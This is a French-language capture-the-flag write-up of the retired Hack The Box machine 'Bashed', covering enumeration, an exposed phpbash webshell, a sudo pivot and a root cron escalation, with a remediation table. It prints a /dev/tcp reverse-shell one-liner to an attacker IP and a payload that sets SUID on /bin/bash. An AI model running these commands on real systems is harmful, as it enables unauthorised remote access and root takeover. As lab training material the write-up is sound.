picsou@htb:~/writeups/easy/bashed$

Linux Easy

Bashed : webshell phpbash exposé, puis cron root

Un phpbash oublié dans /dev/ donne www-data, sudo permet de pivoter vers scriptmanager, et une tâche cron root sur un dossier inscriptible donne root.

box
Bashed
os
Linux
difficulté
Easy
résolue le
publiée le
temps
30 min
indices
aucun
outils
nmap ffuf netcat
techniques
Scan de ports Énumération web Bruteforce de répertoires Webshell exposé (phpbash) Mauvaise config sudo Tâche cron

Box retirée par Hack The Box le 9 déc. 2017. Write-up publié dans le respect des règles de la plateforme, flags masqués.

TL;DR

  1. Un seul service, un serveur web Apache. Le fuzzing révèle un /dev/ qui héberge un phpbash, webshell PHP interactif laissé en accès libre.
  2. Le phpbash donne l'exécution de commandes en tant que www-data. Un reverse shell stabilise le terminal.
  3. sudo -l montre que www-data peut devenir scriptmanager sans mot de passe.
  4. En scriptmanager, le dossier /scripts est inscriptible et ses scripts Python sont exécutés périodiquement par une tâche cron root. On y dépose un payload qui pose le bit SUID sur /bin/bash, puis bash -p donne root.

Reconnaissance

kali
nmap -sVC -T4 10.129.78.31
nmap
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel's Development Site

Un seul port ouvert, le 80. Le titre de la page, "Arrexel's Development Site", et le nom de la box orientent vers un site de développement : le genre d'endroit où traînent souvent des outils de test oubliés.

Énumération

Fuzzing des répertoires avec ffuf, en filtrant les 404 et en activant la récursion :

kali
ffuf -u "http://10.129.78.31/FUZZ" \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
  -e .bat,.cmd -fc 404 -t 40 -ac --recursion --recursion-depth 3
ffuf
images    [Status: 301, Size: 313]
css       [Status: 301, Size: 310]
uploads   [Status: 301, Size: 314]
dev       [Status: 301, Size: 310]
php       [Status: 301, Size: 310]
fonts     [Status: 301, Size: 312]
js        [Status: 301, Size: 309]

Deux répertoires sortent du lot : uploads et surtout dev. En parcourant /dev/, on tombe sur deux fichiers : phpbash.php et phpbash.min.php.

Le phpbash est un webshell PHP autonome avec une interface qui imite un terminal. Il est d'ailleurs signé Arrexel, l'auteur de la box. Laissé en accès libre, il donne directement l'exécution de commandes sur le serveur.

Foothold

On ouvre http://10.129.78.31/dev/phpbash.php dans le navigateur et on exécute des commandes dans l'interface. Un id confirme qu'on est www-data.

Le phpbash est pénible à l'usage : pas de session persistante, pas de cd qui tient, pas de TTY. On passe donc par un reverse shell.

Listener côté attaquant d'abord :

kali
nc -lvnp 1337

Puis dans le phpbash, on déclenche le reverse shell vers l'IP tun0 :

kali
bash -c 'bash -i >& /dev/tcp/10.10.14.84/1337 0>&1'

La connexion arrive sur le listener. On stabilise le TTY pour obtenir un vrai terminal (autocomplétion, flèches, Ctrl+C qui ne déconnecte pas) :

kali
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm

Le user flag est accessible directement dans le home d'arrexel :

www-data@bashed
www-data@bashed:/home/arrexel$ cat user.txt

Élévation vers l'utilisateur

Réflexe post-foothold, on regarde les droits sudo :

www-data@bashed
www-data@bashed:/home/arrexel$ sudo -l
Matching Defaults entries for www-data on bashed:
    env_reset, mail_badpass, secure_path=...

User www-data may run the following commands on bashed:
    (scriptmanager : scriptmanager) NOPASSWD: ALL

www-data peut exécuter n'importe quelle commande en tant que scriptmanager, sans mot de passe. On bascule :

www-data@bashed
sudo -u scriptmanager /bin/bash

Élévation vers root

En scriptmanager, le répertoire /scripts attire l'attention :

scriptmanager@bashed
scriptmanager@bashed:/$ ls -la /scripts
drwxrwxr--  2 scriptmanager scriptmanager 4096 .
drwxr-xr-x 23 root          root          4096 ..
-rw-r--r--  1 scriptmanager scriptmanager   58 test.py
-rw-r--r--  1 root          root            12 test.txt

Le détail qui trahit le vecteur : test.py appartient à scriptmanager, mais test.txt (le fichier qu'il produit) appartient à root et porte une date de modification récente. Autrement dit, une tâche cron root exécute les scripts de /scripts à intervalle régulier, et scriptmanager a les droits d'écriture sur le dossier.

On réécrit test.py pour poser le bit SUID sur /bin/bash. Heredoc quoté pour éviter toute galère d'échappement :

scriptmanager@bashed
cat > /scripts/test.py << 'EOF'
import os
os.system("chmod +s /bin/bash")
EOF

Au bout d'une minute (la cron tourne environ toutes les minutes), le bit SUID est posé :

scriptmanager@bashed
scriptmanager@bashed:/$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1037528 /bin/bash

Le s à la place du x confirme. On lance un bash en conservant les privilèges :

scriptmanager@bashed
/bin/bash -p
txt
bash-4.3# id
uid=1001(scriptmanager) gid=1001(scriptmanager) euid=0(root) egid=0(root) groups=0(root),1001(scriptmanager)
bash-4.3# cat /root/root.txt

L'euid=0(root) confirme root. Le flag est dans /root/root.txt (et non /home/root, root étant le seul utilisateur dont le home est à la racine).

Findings

#ConstatSévérité (CVSS v4)Remédiation
F1Webshell phpbash exposé publiquement dans /dev/ (RCE non authentifiée)CritiqueRetirer tout outil de test des répertoires servis, restreindre /dev/ par authentification et IP
F2Répertoire de développement listable et outils oubliés en productionMoyenneDésactiver le listing, séparer les environnements de dev et de prod
F3Règle sudo trop large (www-data → scriptmanager, NOPASSWD: ALL)ÉlevéeLimiter sudo aux seules commandes nécessaires, jamais ALL
F4Tâche cron root exécutant des scripts dans un dossier inscriptible par un utilisateur non privilégiéCritiqueFaire tourner la cron sur un dossier appartenant à root, non inscriptible, et valider les scripts exécutés

Leçons apprises

  • Le fuzzing de répertoires reste le socle sur une box web : ici tout part d'un /dev/ oublié. Penser à activer la récursion pour ne pas manquer un fichier enfoui.
  • Un webshell comme phpbash donne un accès instable : passer en reverse shell puis stabiliser le TTY (pty.spawn + stty raw -echo + TERM) change complètement le confort de travail.
  • sudo -l avant tout le reste : le pivot utilisateur était là, pas dans les SUID.
  • Un fichier produit par un script mais appartenant à root est le signe révélateur d'une tâche planifiée privilégiée. Si le dossier est inscriptible, c'est le vecteur root.
  • Pour un payload, un heredoc quoté évite les cauchemars d'échappement de guillemets : viser la solution avec le moins de niveaux de quotes possible (ici le SUID bash plutôt que la ligne sudoers).

Références